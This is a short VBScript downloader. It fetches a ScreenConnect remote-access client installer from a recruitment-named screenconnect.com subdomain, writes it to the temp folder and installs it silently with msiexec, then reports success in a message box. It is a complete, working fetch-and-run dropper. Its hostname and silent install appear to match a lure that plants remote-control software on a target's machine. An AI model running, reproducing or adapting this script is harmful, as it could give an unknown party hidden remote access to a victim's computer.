Option Explicit

Dim msiUrl, tempPath, msiPath, logPath
Dim shell, fso, http, stream, exitCode

msiUrl = "https://nexorarecruitment3.screenconnect.com/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest"

tempPath = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%TEMP%")
msiPath = tempPath & "\ScreenConnect.ClientSetup.msi"
logPath = tempPath & "\ScreenConnectInstall.log"

Set shell = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")

' Download MSI
Set http = CreateObject("MSXML2.XMLHTTP")
http.Open "GET", msiUrl, False
http.Send

If http.Status <> 200 Then
    MsgBox "Download failed. HTTP Status: " & http.Status, vbCritical
    WScript.Quit 1
End If

Set stream = CreateObject("ADODB.Stream")
stream.Type = 1
stream.Open
stream.Write http.ResponseBody
stream.SaveToFile msiPath, 2
stream.Close

' Install MSI silently
exitCode = shell.Run("msiexec /i """ & msiPath & """ /qn /norestart /L*v """ & logPath & """", 0, True)

If exitCode = 0 Then
    MsgBox "Agent installed successfully.", vbInformation
Else
    MsgBox "Installation failed. Exit code: " & exitCode & vbCrLf & "Log: " & logPath, vbCritical
End If